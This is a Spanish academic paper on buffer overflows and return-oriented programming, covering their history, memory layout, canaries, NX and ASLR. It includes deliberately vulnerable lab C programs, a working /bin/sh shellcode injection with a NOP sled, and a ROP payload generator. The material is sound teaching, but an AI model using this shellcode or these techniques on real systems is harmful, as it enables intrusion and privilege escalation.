Buffer Overflow y Return-oriented programming

Componentes.

- Arturo Cortés Sánchez
- Abel José Sánchez Alba

Índice

Introducción

En este documento se tratarán exploits de seguridad empleados para alterar la lógica de un programa. La mayoría de ellos con carácter académico, aunque estos exploits hayan sido empleados con intenciones maliciosas. En una primera aproximación se tratará el concepto general de estos exploits para luego exponer en profundidad los mismos, así como las protecciones más comúnmente utilizadas. A continuación, se exponen una serie de exploits clásicos para así obtener una idea de sus conceptos.

Buffer Overflow

En seguridad de la información y programación, un buffer overflow, o desbordamiento del búfer, es una anomalía en la que un programa, al escribir datos en un búfer, sobrepasa los límites del mismo y sobrescribe las posiciones de memoria adyacentes.

Los búferes son áreas de memoria reservadas para contener datos, a menudo mientras se mueven de una sección de un programa a otra, o entre programas. Los desbordamientos del búfer a menudo pueden ser desencadenados por entradas erróneas o no previstas; si uno asume que todas las entradas serán más pequeñas que un cierto tamaño y el búfer se crea para ser de ese tamaño, entonces una transacción anómala que produce más datos podría hacer que se escriba más allá del final del búfer. Si esto sobrescribe los datos adyacentes o el código ejecutable, puede dar lugar a un comportamiento errático del programa, incluyendo errores de acceso a la memoria, resultados incorrectos y bloqueos.

Explotar el comportamiento de un desbordamiento de búfer es un exploit de seguridad bien conocido. En muchos sistemas, la disposición de la memoria de un programa, o del sistema en su conjunto, está bien definida. Al enviar datos diseñados para provocar un desbordamiento de búfer, es posible escribir en áreas conocidas por contener código ejecutable y sustituirlo por código malicioso, o sobrescribir selectivamente los datos relativos al estado del programa, provocando así un comportamiento no previsto por el programador original. Los búferes están muy extendidos en el código del sistema operativo (SO), por lo que es posible realizar ataques que realicen una escalada de privilegios y obtengan un acceso ilimitado a los recursos del ordenador.

Los lenguajes de programación comúnmente asociados con los desbordamientos de búfer incluyen C y C++, que no proporcionan ninguna protección incorporada contra el acceso o la sobrescritura de datos en cualquier parte de la memoria y no comprueban automáticamente que los datos escritos en una matriz (el tipo de búfer incorporado) estén dentro de los límites de esa matriz. La comprobación de los límites puede evitar los desbordamientos del búfer, pero requiere código y tiempo de procesamiento adicionales. Los sistemas operativos modernos utilizan una serie de técnicas para combatir los desbordamientos de búfer malintencionados, en particular mediante la aleatorización de la disposición de la memoria, o dejando deliberadamente espacio entre los búferes y buscando acciones que escriban en esas áreas ("canaries").

Los desbordamientos del búfer se comprendieron y se documentaron parcialmente de forma pública ya en 1972, cuando el Estudio de Planificación de la Tecnología de Seguridad Informática expuso la técnica: "El código que realiza esta función no comprueba correctamente las direcciones de origen y destino, permitiendo que partes del monitor sean sobreescritas por el usuario. Esto puede utilizarse para inyectar código en el monitor que permita al usuario hacerse con el control de la máquina".

La primera explotación hostil documentada de un desbordamiento de búfer fue en 1988. Fue uno de los varios exploits utilizados por el gusano Morris para propagarse por Internet. El programa explotado era un servicio de Unix llamado finger. Más tarde, en 1995, Thomas Lopatic redescubrió de forma independiente el desbordamiento del búfer y publicó sus hallazgos en la lista de correo de seguridad Bugtraq. Un año después, en 1996, Elias Levy publicó en la revista Phrack el artículo "Smashing the Stack for Fun and Profit", una introducción paso a paso para explotar las vulnerabilidades de desbordamiento de búfer basadas en la pila.

Twilight Hack

El Twilight Hack se descubrió en 2008 y fue la primera forma de habilitar el homebrew en una consola Wii sin modificar el hardware. Se utilizaba un archivo de guardado hackeado del juego The Legend of Zelda: Twilight Princess que ejecutaba una aplicación homebrew desde una tarjeta SD. Se pueden encontrar ejemplos de estos archivos homebrew .elf o .dol en páginas de aplicaciones homebrew.

El hack aprovecha un error de desbordamiento de búfer causado por la carga de un archivo de guardado especialmente diseñado para Twilight Princess. El archivo de guardado almacena un nombre personalizado para Epona, el caballo de Link, que es mucho más largo de lo que el juego suele permitir, de hecho incluso contiene un pequeño programa. Aunque el juego no permite introducir manualmente un nombre tan largo, no comprueba el nombre en el archivo. Cuando el juego intenta cargar el

nombre en la memoria, inadvertidamente deja caer el pequeño programa en la memoria llenando no sólo el búfer del "nombre del caballo" sino los adyacentes. De forma indirecta estas regiones de memoria resultan ser las designadas como la siguiente región que la consola debe ejecutar.

Stack buffer overflow

Un stack buffer overflow, en español desbordamiento del búfer de la pila, se produce cuando un programa escribe en una dirección de memoria en la pila de llamadas del programa fuera de la estructura de datos prevista, que suele ser un búfer de longitud fija. Los stack buffer overflow se producen cuando un programa escribe más datos en un búfer situado en la pila de lo que realmente está asignado para ese búfer. Esto casi siempre resulta en la corrupción de los datos adyacentes en la pila, y en los casos en los que el desbordamiento fue provocado por error, a menudo hará que el programa se bloquee o funcione incorrectamente. Un stack buffer overflow tiene más probabilidades de hacer crashear un programa que un heap buffer overflow, ya que la pila contiene las direcciones de retorno de todas las llamadas a funciones activas.

Un desbordamiento del búfer de la pila puede ser causado deliberadamente como parte de un ataque conocido como stack smashing. Si el programa afectado se ejecuta con privilegios especiales o acepta datos de hosts de red que no son de confianza (por ejemplo, un servidor web), el fallo es una potencial vulnerabilidad de seguridad. Si el búfer de la pila se llena con datos suministrados por un usuario que no es de confianza, ese usuario puede corromper la pila de tal manera que inyecte código ejecutable en el programa en ejecución y tome el control del proceso. Este es uno de los métodos más antiguos y fiables para que los atacantes obtengan acceso no autorizado a un ordenador.

Antes de mostrar un ejemplo de buffer overflow es conveniente conocer cómo se estructura la memoria de un proceso, así como el funcionamiento del proceso de llamadas a funciones en Linux.

Memoria de un proceso linux

- Los argumentos de la línea de comandos y las variables de entorno se almacenan en la parte superior de la disposición de la memoria del proceso en las direcciones más altas.
- A continuación está el segmento de la pila. Esta es el área de memoria que es utilizada por el proceso para almacenar las variables locales de la función

y otra información que se guarda cada vez que se llama a una función. Esta otra información incluye la dirección de retorno, es decir, la dirección desde la que se llamó a la función, alguna información sobre el entorno de la persona que llama, como sus registros de máquina, etc., se almacenan en la pila.

- El segmento heap es el que se utiliza para la asignación dinámica de memoria. Este segmento no está limitado a un solo proceso, sino que se comparte entre todos los procesos que se ejecutan en el sistema. Cualquier proceso puede asignar memoria dinámicamente desde este segmento. Dado que este segmento es compartido por todos los procesos, la memoria de este segmento debe ser utilizada con precaución y debe ser desasignada tan pronto como el proceso haya terminado de utilizar esa memoria.
- La pila crece hacia abajo mientras que el heap crece hacia arriba.
- Todas las variables globales que no se inicializan en el programa se almacenan en el segmento BSS. Al ejecutarse, todas las variables globales no inicializadas se inicializan con el valor cero. BSS significa 'Bloque Iniciado por Símbolo'.
- Todas las variables globales inicializadas se almacenan en el segmento de datos.
- Finalmente, el segmento text es el área de memoria que contiene las instrucciones de máquina que la CPU ejecuta. Normalmente, este segmento se comparte entre diferentes instancias del mismo programa que se está ejecutando. Como no tiene sentido cambiar las instrucciones de la CPU, este segmento tiene privilegios de sólo lectura.

Llamada a una función en Linux

En x86-32 los argumentos se pasan por la pila. El último parámetro es empujado primero a la pila y luego se van introduciendo el resto en orden inverso hasta que todos los parámetros están dentro, entonces se ejecuta la instrucción de llamada. Esto se utiliza para llamar a las funciones de la biblioteca C (libc) en Linux desde el ensamblador.

Antes de la llamada: Se guarda el antiguo EBP en la pila, se copia ESP a EBP como frame stack pointer y se decrementa ESP para reservar memoria para las variables locales.

En la llamada, la instrucción CALL guarda la dirección de la siguiente instrucción a ejecutar en la pila, como dirección de retorno.

Después de la llamada se eliminan las variables locales y se recupera EBP.
La instrucción RET desapila la dirección de retorno y salta a ella(EIP), además ESP se decrementa.

Ejemplo de stack buffer overflow:

A continuación muestra un sencillo programa en C, que toma un argumento suministrado por el usuario desde la línea de comandos y lo imprime.

```c
#include "stdio.h"
#include "string.h"
int main(int argc, char **argv) {
   char smallbuf[32];
   strcpy(smallbuf, argv[1]);
   printf("%s\n", smallbuf);
}
```

El main reserva un buffer de 32 bytes (smallbuf) para almacenar la entrada del usuario desde el argumento de la línea de comandos.

El código tiene que ser compilado con las siguientes flags para este ejemplo de buffer overflow funcione correctamente:
`-m32`: Generar un binario de 32 bits.
`-no-pie`: No crear un “position-independent executable”
`-fno-stack-protector`: Desactivar los canaries
`-z execstack`: Permitir que la pila sea ejecutable

```
$ gcc -o printme printme.c -m32 -no-pie -fno-stack-protector -z
execstack

$ ./printme test
test
```

Se puede ver que para una entrada corta el programa funciona correctamente, pero si introducimos un argumento demasiado largo vemos que se produce una violación de segmento

```
$ ./printme ABCDABCDABCDABCDABCDABCDABCDABCDA
BCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Violación de segmento (`core' generado)
```

La violación de segmento se produce cuando la función main() termina. Al finalizar de ejecutarse, el procesador saca el valor 0x44434241 ("DCBA" en hexadecimal) de la pila, e intenta buscar, decodificar y ejecutar instrucciones en esa dirección. 0x44434241 no contiene instrucciones válidas, por lo que se produce un fallo de segmentación.

Es posible abusar de este comportamiento para sobrescribir el puntero de instrucción y forzar al procesador a ejecutar instrucciones introducidas por el atacante (también conocido como shellcode). Para ello hace falta conocer la posición en memoria de la variable smallbuff. Usando herramientas como GDB podemos averiguarla, en este caso es 0xbffff418.

Conociendo la ubicación exacta del inicio de smallbuf en la pila, se puede ejecutar código arbitrario dentro del programa vulnerable. Para ello hay que llenar el buffer con un shellcode y sobrescribir el puntero de la instrucción guardada, de modo que el shellcode se ejecute cuando la función main() regrese.

Este es un shellcode para Linux de 32bits. Ocupa 24 bytes y abre una shell con /bin/sh:

```
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\
x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
```

El buffer de destino, tiene un tamaño de 32 bytes, por lo que se pueden utilizar instrucciones NOP (cuya representación hexadecimal es \x90) para rellenar el resto del buffer.

Técnicamente, se puede fijar el puntero de instrucción guardado a cualquier dirección entre 0xbffff418 y 0xbffff41f ya que esa zona contiene las instrucciones NOP, y al ejecutar cualquiera de ellas la ejecución continuará hasta el inicio del shellcode . Esta técnica se conoce como NOP sled y se utiliza a menudo cuando no se conoce la ubicación exacta del shellcode.

Se puede utilizar python para generar los caracteres no imprimibles del shellcode, las instrucciones y la dirección de memoria. El ataque completo quedaría de la siguiente forma:

```
$ ./printme `python2 -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90" #
Instrucciones NOP
+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x
```

```
52\x53\x89\xe1\xb0\x0b\xcd\x80” # Shellcode
+”\xef\xbe\xad\xde” #Padding
+”\x18\xf4\xff\xbf" # Dirección de salto pasada a little endian'`
1ÀPhn/shh//biãRSá°

                  Í
sh-5.1$
```

Al final se obtiene una shell, si el binario vulnerable perteneciera al usuario root, esta shell heredaría los privilegios, exponiendo completamente el sistema.

Protecciones contra el buffer overflow

La protección contra el desbordamiento del búfer es cualquiera de las diversas técnicas utilizadas durante el desarrollo de software para mejorar la seguridad de los programas ejecutables mediante la detección de desbordamientos del búfer en las variables asignadas a la pila, y evitar que causen un mal comportamiento del programa o que se conviertan en graves vulnerabilidades de seguridad. Los errores de desbordamiento del búfer de la pila se producen cuando un programa escribe más datos en un búfer situado en la pila de lo que realmente está asignado para ese búfer. Esto casi siempre resulta en la corrupción de los datos adyacentes en la pila, lo que podría llevar a la caída del programa, a un funcionamiento incorrecto o a problemas de seguridad.

Normalmente, la protección contra el desbordamiento del búfer modifica la organización de los datos asignados a la pila para que incluya un valor canary que, al ser destruido por un desbordamiento del búfer de la pila, muestre que un búfer que lo precede en la memoria ha sido desbordado. Al verificar el valor canary, se puede terminar la ejecución del programa afectado, impidiendo que se comporte mal o que un atacante tome el control sobre él. Otras técnicas de protección contra el desbordamiento del búfer son la comprobación de límites, que verifica los accesos a cada bloque de memoria asignado para que no puedan ir más allá del espacio realmente asignado, y el etiquetado, que garantiza que la memoria asignada para almacenar datos no puede contener código ejecutable.

Es más probable que el buffer overflow asignado en la pila influya en la ejecución del programa que un overflow de un buffer en el heap, ya que la pila contiene las direcciones de retorno de todas las llamadas a funciones activas. Sin embargo, también existen protecciones similares específicas de la implementación contra los desbordamientos basados en el montón.

Los canaries son valores conocidos que se colocan entre un búfer y los datos de control en la pila para controlar los desbordamientos del búfer. Cuando el búfer se desborda, el primer dato que se corrompe suele ser el canary, y una verificación fallida de los datos del canary alertará, por tanto, de un desbordamiento, que puede ser manejado, por ejemplo, invalidando los datos corruptos. Un valor canary no debe confundirse con un valor centinela.

La terminología es una referencia a la práctica histórica de utilizar canaries en las minas de carbón, ya que se verían afectados por los gases tóxicos antes que los mineros, proporcionando así un sistema de alerta biológica. Los canaries son conocidos alternativamente como galletas, lo que pretende evocar la imagen de una "galleta rota" cuando el valor se corrompe.

Hay tres tipos de canaries en uso: terminator, random, y random XOR. Las versiones actuales de StackGuard soportan los tres, mientras que ProPolice soporta los canaries terminator y random.

Canaries de terminación

Los canaries de terminación utilizan la observación de que la mayoría de los ataques de desbordamiento de búfer se basan en ciertas operaciones de cadena que terminan en los terminadores de cadena. La reacción a esta observación es que los canaries se construyen con terminadores nulos, CR, LF y -1. Como resultado, el atacante debe escribir un carácter nulo antes de escribir la dirección de retorno para evitar alterar el canary. Esto previene ataques usando strcpy() y otros métodos que retornan al copiar un carácter nulo, mientras que el resultado indeseable es que el canary es conocido. Incluso con la protección, un atacante podría potencialmente sobrescribir el canary con su valor conocido y controlar la información con valores no coincidentes, pasando así el código de comprobación del canario, que se ejecuta poco antes de la instrucción de retorno de la llamada del procesador específico.

Canaries aleatorios

Los canaries aleatorios se generan de forma aleatoria, normalmente a partir de un demonio de recopilación de entropía, para evitar que un atacante conozca su valor. Normalmente, no es lógicamente posible o plausible leer el canary para explotarlo; el canary es un valor seguro conocido sólo por aquellos que necesitan conocerlo,el código de protección de desbordamiento de búfer en este caso.

Normalmente, se genera un canary aleatorio en la inicialización del programa, y se almacena en una variable global. Esta variable suele estar rellena de páginas sin mapear, de modo que intentar leerla usando cualquier tipo de trucos que exploten

los bugs para leer fuera de la RAM, provoca un fallo de segmentación, terminando el programa. Todavía puede ser posible leer el canary, si el atacante sabe dónde está, o puede conseguir que el programa lea de la pila.

Canaries XOR aleatorios

Los canaries XOR aleatorios son canaries que se mezclan con XOR utilizando todos o parte de los datos de control. De esta manera, una vez que el canary o los datos de control son alterados, el valor del canary es erróneo.

Los canaries XOR aleatorios tienen las mismas vulnerabilidades que los canaries aleatorios, excepto que el método de "lectura de la pila" para obtener el canary es un poco más complicado. El atacante debe obtener el canary, el algoritmo y los datos de control para volver a generar el canary original necesario para falsificar la protección.

Además, los canaries XOR aleatorios pueden proteger contra un cierto tipo de ataque que implica el desbordamiento de un búfer en una estructura en un puntero para cambiar el puntero para apuntar a una pieza de datos de control. Debido a la codificación XOR, el canary se equivocará si los datos de control o el valor de retorno son cambiados. Debido al puntero, los datos de control o el valor de retorno pueden ser cambiados sin desbordar el canary.

Aunque estos canaries protegen los datos de control de ser alterados por punteros alterados, no protegen ningún otro dato o los propios punteros. Los punteros de función especialmente son un problema aquí, ya que pueden ser desbordados y pueden ejecutar shellcode cuando son llamados.

Executable Space protection

La protección del espacio ejecutable marca regiones de memoria como no ejecutables, de manera que un intento de ejecutar código máquina en estas regiones provocará una excepción. Utiliza características de hardware como el bit NX (bit de no ejecución) o, en algunos casos, la emulación por software de dichas características. Sin embargo, las tecnologías que de alguna manera emulan o suministran un bit NX suelen imponer una sobrecarga medible; mientras que el uso de un bit NX suministrado por hardware no impone ninguna sobrecarga medible.

El mainframe Burroughs 5000 ofrecía soporte de hardware para la protección del espacio ejecutable en su introducción en 1961; esa capacidad se mantuvo en sus sucesores hasta al menos 2006. En su implementación de arquitectura etiquetada, cada palabra de memoria tenía un bit de etiqueta asociado y oculto que la designaba como código o datos. De este modo, los programas de usuario no

pueden escribir o incluso leer una palabra de programa, y las palabras de datos no pueden ejecutarse.

Si un sistema operativo puede marcar algunas o todas las regiones escribibles de la memoria como no ejecutables, puede evitar que las áreas de memoria de la pila y del montón sean ejecutables. Esto ayuda a evitar que ciertos exploits de desbordamiento de búfer tengan éxito, particularmente aquellos que inyectan y ejecutan código, como los gusanos Sasser y Blaster. Estos ataques dependen de que alguna parte de la memoria, normalmente la pila, sea escribible y ejecutable; si no lo es, el ataque falla.

Address space layout randomization

La aleatorización de la disposición del espacio de direcciones (ASLR) es una técnica de seguridad informática que se ocupa de evitar la explotación de vulnerabilidades de corrupción de memoria. Para evitar que un atacante salte de forma fiable, por ejemplo, a una función explotada concreta en la memoria, ASLR ordena aleatoriamente las posiciones del espacio de direcciones de las áreas de datos clave de un proceso, incluyendo la base del ejecutable y las posiciones de la pila, el montón y las bibliotecas.

Esta técnica dificulta algunos tipos de ataques de seguridad al hacer más difícil para un atacante predecir las direcciones objetivo. Por ejemplo, los atacantes que intentan ejecutar ataques return-to-libc deben localizar el código a ejecutar, mientras que otros atacantes que intentan ejecutar shellcode inyectado en la pila tienen que encontrar primero la pila. En ambos casos, el sistema oculta a los atacantes las direcciones de memoria relacionadas. Estos valores tienen que ser adivinados, y una suposición errónea no suele ser recuperable debido a que la aplicación se bloquea.

Return-to-libc

Un ataque "return-to-libc" es un ataque de seguridad informática que suele comenzar con un desbordamiento de búfer en el que la dirección de retorno de una subrutina en una pila de llamadas se sustituye por una dirección de una subrutina que ya está presente en la memoria ejecutable del proceso, eludiendo el bit de no ejecución (si está presente) y librando al atacante de la necesidad de inyectar su propio código.

En los sistemas operativos compatibles con POSIX, la biblioteca estándar C ("libc") se utiliza habitualmente para proporcionar un entorno de ejecución estándar para los programas escritos en el lenguaje de programación C. Aunque el atacante podría hacer retornar el código a cualquier lugar, libc es el objetivo más probable, ya que

casi siempre está enlazada al programa, y proporciona llamadas útiles para un atacante (como la función del sistema utilizada para ejecutar comandos del shell).

Return-oriented programming

Return-oriented programming es una técnica de explotación de la seguridad informática que permite a un atacante ejecutar código en presencia de defensas de seguridad como la protección del espacio ejecutable que se explicó anteriormente. Además, a diferencia de return-to-libc, puede llevarse a cabo en un sistema con ASLR activo

En esta técnica, un atacante obtiene el control de la pila de llamadas para secuestrar el flujo de control del programa y luego ejecuta secuencias de instrucciones de máquina cuidadosamente elegidas que ya están presentes en la memoria de la máquina, denominadas "gadgets". Cada gadget suele terminar en una instrucción de retorno y se encuentra en una subrutina dentro del programa existente y/o del código de la biblioteca compartida. Encadenados, estos gadgets permiten a un atacante realizar operaciones arbitrarias en una máquina empleando defensas que frustran ataques más simples.

Gadgets

La lista a continuación contiene algunos gadgets de ejemplo así como su utilidad:

- Cargar una constante en un registro: Guarda un valor de la pila en un registro utilizando la instrucción POP para su uso posterior.
    - POP eax; ret;
      Esto hará que el valor en la pila se deposite en eax y luego regrese a la dirección en la parte superior de la pila.

- Carga desde memoria: Permite cargar valores desde memoria a un registro.
    - mov ecx,[eax]; ret
      Mueve el valor situado en la dirección almacenada en eax, a ecx.

- Almacenamiento en memoria: Almacena el valor del registro en una posición de memoria.
    - Mov [eax],ecx;ret
      Almacenará el valor en ecx a la dirección de memoria en eax.

- Operaciones aritméticas: suma, sustracción, multiplicación, or exclusivo, etc. Por ejemplo:

    - add eax,0x0b; ret (añadirá 0x0b a eax)
    - xor edx,edx;ret (pondrá a cero edx)

- Llamada al sistema: La instrucción de llamada al sistema seguida de ret permite ejecutar una interrupción del kernel que puede ser configurada mediante los gadgets anteriores. Los gadgets de llamada al sistema son:
    - int 0x80; ret
    - call gs:[0x10]; ret

Ejemplo de return-oriented programming

Este programa de ejemplo realiza una suma de 1 + 1 y la imprime. Además, si el usuario proporciona un argumento, el programa realiza una copia interna a un buffer de 128 bytes.

```
1  #include "stdio.h"
2  #include "string.h"
3
4  void funcion_vulnerable(char *s) {
5     char buffer[128];
6     strcpy(buffer, s);
7  }
8
9  void imprimir_suma(int x, int y) {
10    printf("%d + %d = %d\n", x, y, x + y);
11 }
12
13 int main(int argc, char **argv) {
14    imprimir_suma(1, 1);
15    if (argc > 1)
16        funcion_vulnerable(argv[1]);
17 }
```

Para ejecutar este ejemplo es necesario compilar el código con las siguientes flags. La funcionalidad de cada flag ha sido explicada en el ejemplo anterior. Nótese que para este ejemplo no es necesaria la flag -z execstack, ya que no vamos a ejecutar código contenido en la pila.

```
$ gcc rop.c -o rop -m32 -no-pie -fno-stack-protector
```

```
$ ./rop
1 + 1 = 2
```

El ejecutable funciona como cabría esperar, pero si se introduce un argumento demasiado largo, el programa termina abruptamente con una violación de segmento:

```
$ ./rop `python2 -c 'print"A"*200'`
1 + 1 = 2
Violación de segmento (`core' generado)
$
```

En este ejemplo se va a aprovechar esta vulnerabilidad para secuestrar el flujo de ejecución del programa y llamar una segunda vez a la función imprimir_suma(). Para ello es necesario conocer previamente la dirección de la función imprimir_suma() y la dirección de retorno de función_vulnerable(). Visualizando el código enamblador del main se pueden identificar facilmente. Las direcciones necesarias han sido puestas en negrita para que sean rápidamente identificables.

```
(gdb) disas main
Dump of assembler code for function main:
  0x080484be <+0>:     lea    0x4(%esp),%ecx
  0x080484c2 <+4>:     and    $0xfffffff0,%esp
  0x080484c5 <+7>:     push   -0x4(%ecx)
  0x080484c8 <+10>:    push   %ebp
  0x080484c9 <+11>:    mov    %esp,%ebp
  0x080484cb <+13>:    push   %ebx
  0x080484cc <+14>:    push   %ecx
  0x080484cd <+15>:    call   0x8048510 <__x86.get_pc_thunk.ax>
  0x080484d2 <+20>:    add    $0x1b2e,%eax
  0x080484d7 <+25>:    mov    %ecx,%ebx
  0x080484d9 <+27>:    sub    $0x8,%esp
  0x080484dc <+30>:    push   $0x1
  0x080484de <+32>:    push   $0x1
  0x080484e0 <+34>:    call   0x8048487 <imprimir_suma>
  0x080484e5 <+39>:    add    $0x10,%esp
  0x080484e8 <+42>:    cmpl   $0x1,(%ebx)
  0x080484eb <+45>:    jle    0x8048501 <main+67>
  0x080484ed <+47>:    mov    0x4(%ebx),%eax
  0x080484f0 <+50>:    add    $0x4,%eax
  0x080484f3 <+53>:    mov    (%eax),%eax
  0x080484f5 <+55>:    sub    $0xc,%esp
  0x080484f8 <+58>:    push   %eax
  0x080484f9 <+59>:    call   0x8048456 <funcion_vulnerable>
  0x080484fe <+64>:    add    $0x10,%esp
  0x08048501 <+67>:    mov    $0x0,%eax
  0x08048506 <+72>:    lea    -0x8(%ebp),%esp
  0x08048509 <+75>:    pop    %ecx
```

```
  0x0804850a <+76>:    pop    %ebx
  0x0804850b <+77>:    pop    %ebp
  0x0804850c <+78>:    lea    -0x4(%ecx),%esp
  0x0804850f <+81>:    ret
End of assembler dump.
```

Conociendo la dirección de retorno de funcion_vulnerable() se puede averiguar cuánto padding es necesario hasta poder sobreescribir la dirección de retorno en la pila. Utilizando un depurador se puede la ejecución del programa en la última línea de función vulnerable e inspeccionar el contenido de la pila.

En la pila se aparece varias veces el valor 0x41414141, esto se corresponde con la copia del string de 128 “A”s pasado como argumento en la ejecución. Poco después del final de los 41s se encuentra la dirección de retorno que hemos identificado anteriormente. Si se cuentan los bytes desde el primer 41 hasta la dirección podemos ver que necesitamos 140 bytes de padding.

```
(gdb) x/64x $esp
0xffffcdc0:     0xffffcdd0      0xffffd147      0x0804824d      0x08048465
0xffffcdd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcde0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcdf0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce00:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce10:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce20:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce30:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce40:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce50:     0xf7f8a300      0xffffce90      0xffffce78      0x080484fe
0xffffce60:     0xffffd147      0x00000001      0xffffcf40      0x080484d2
0xffffce70:     0xffffce90      0x00000000      0x00000000      0xf7db9a0d
0xffffce80:     0x00000002      0x08048340      0x00000000      0xf7db9a0d
0xffffce90:     0x00000002      0xffffcf34      0xffffcf40      0xffffcec4
0xffffcea0:     0xffffced4      0xf7ffdb78      0xf7f93330      0xf7f89e1c
0xffffceb0:     0x00000001      0x00000000      0xffffcf18      0x00000000
```

Para redirigir la ejecución del programa es necesario introducir como argumento un string compuesto por 140 bytes aleatorios más la dirección de memoria de imprimir_suma()

```
$ ./rop `python2 -c 'print "A"*140+"\x87\x84\x04\x08"'`
1 + 1 = 2
1 + -703696 = -703695
Violación de segmento (`core' generado)
```

Vemos que se ha producido una segunda llamada a imprimir_suma(), pero con argumentos aleatorios. Para poder introducir nuestros propios argumentos, después

de la dirección necesitamos añadir 4 bytes de padding extra y los argumentos en hexadecimal.

```
$ ./rop `python2 -c 'print "A"*140 # Padding
+"\x87\x84\x04\x08" # Dirección de la función en little endian
+"BBBB" # Padding extra
+"\xff\xff\xff\xff" # Argumento 1
+"\xfe\xff\xff\xff" # Argumento 2'``
1 + 1 = 2
-1 + -2 = -3
Violación de segmento (`core' generado)
$
```

Pasando ese string como argumento hemos logrado secuestrar exitosamente el flujo del programa. Pero este ataque sigue siendo un buffer overflow, ya que no hemos hecho uso de ningún gadget.

Utilizar gadgets nos permite encadenar varias llamadas a funciones. Para encontrar todos los gadgets posibles en un ejecutable podemos usar el programa ropper.

```
$ ropper -f rop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%


Gadgets
=======


0x08048731: adc al, 0x41; ret;
0x080483ba: adc al, 0x68; and byte ptr [eax - 0x2f00f7fc], ah; add esp,
0x10; leave; ret;
0x08048406: adc byte ptr [eax + 0x68], dl; and byte ptr [eax - 0x2d00f7fc],
ah; add esp, 0x10; leave; ret;
0x08048480: adc byte ptr [eax - 0x3603a275], dl; ret;
0x080483c4: adc cl, cl; ret;
0x080482c9: add al, 0; add byte ptr [ebx - 0x7d], dl; in al, dx; or al, ch;
mov ebx, 0x81000000; ret;
0x08048511: add al, 0x24; ret;
.
.
.
0x0804857a: pop edi; pop ebp; ret;
.
.
.
0x0804850d: popal; cld; ret;
0x080482d6: ret;
0x08048466: wait; sbb eax, dword ptr [eax]; add byte ptr [ebx +
```

```
0x75ff08ec], al; or byte ptr [ebp - 0x876b], cl; call dword ptr [edx -
0x77];
0x08048466: wait; sbb eax, dword ptr [eax]; add byte ptr [ebx +
0x75ff08ec], al; or byte ptr [ebp - 0x876b], cl; call dword ptr [edx -
0x77]; ret;

148 gadgets found
```

La salida de ropper es demasiado extensa como para incluirla entera. El gadget necesario para este ejemplo es el que aparece en el centro. Este gadget saca dos valores de la pila antes de retornar.

En el caso anterior, los 4 bytes de padding extra que se introducían antes de los argumentos de imprimir_suma() son realidad la dirección de retorno dicha función. Por lo que si en lugar de “BBBB” ponemos la dirección del gadget, cuando la función termine de ejecutarse, el procesador saltará a dicha dirección, ejecuraŕa el gadget sacando así dos valores de la pila y saltará a la dirección que en ese momento esté encima de la pila. Esto permite encadenar múltiples llamadas a funciones como se puede ver a continuación:

```
import struct
payload = ""
payload += "A"*140 # Padding
for i in range(1,10):
   payload += "\x87\x84\x04\x08" # Dirección de imprimir_suma() en little endian
   payload += "\x7a\x85\x04\x08" # Dirección del gadget en little endian
   payload += struct.pack("i",-i) # Primer argumento de imprimir_suma()
   payload += struct.pack("i",-i-1) # Segundo argumento de imprimir_suma()
print payload
```

Este código genera un string que al ser pasado como argumento, causa que el programa llame 10 veces de más a la función imprimir_suma(), cada vez con argumentos distintos.

```
$ ./rop `python2 -c 'import struct
payload = ""
payload += "A"*140
for i in range(1,10):
   payload += "\x87\x84\x04\x08"
   payload += "\x7a\x85\x04\x08"
   payload += struct.pack("i",-i)
   payload += struct.pack("i",-i-1)
```

```
print payload'`
1 + 1 = 2
-1 + -2 = -3
-2 + -3 = -5
-3 + -4 = -7
-4 + -5 = -9
-5 + -6 = -11
-6 + -7 = -13
-7 + -8 = -15
-8 + -9 = -17
-9 + -10 = -19
Violación de segmento (`core' generado)
```

Se ha logrado secuestrar el flujo del programa para imprimir 10 sumas que no estaban presentes en el código original del programa. En este caso las 10 llamadas han sido a la misma función porque se trata de un ejemplo corto, pero en un programa real poder llamar a cualquier función con cualquier argumento es un riesgo de seguridad a tener en muy cuenta.

Referencias:

https://en.wikipedia.org/wiki/Buffer_overflow

https://en.wikipedia.org/wiki/Stack_buffer_overflow

https://en.wikipedia.org/wiki/Executable_space_protection

https://en.wikipedia.org/wiki/Address_space_layout_randomization

https://en.wikipedia.org/wiki/Return-oriented_programming

https://www.ccn-cert.cni.es/pdf/documentos-publicos/xi-jornadas-stic-ccn-cert/2575-m11-06-rockandropeando/file.html

https://akshit-singhal.medium.com/rop-chain-exploit-with-example-7e444939a2ec

http://etutorials.org/Networking/network+security+assessment/Chapter+13.+Application-Level+Risks/13.4+Classic+Buffer-Overflow+Vulnerabilities/

https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf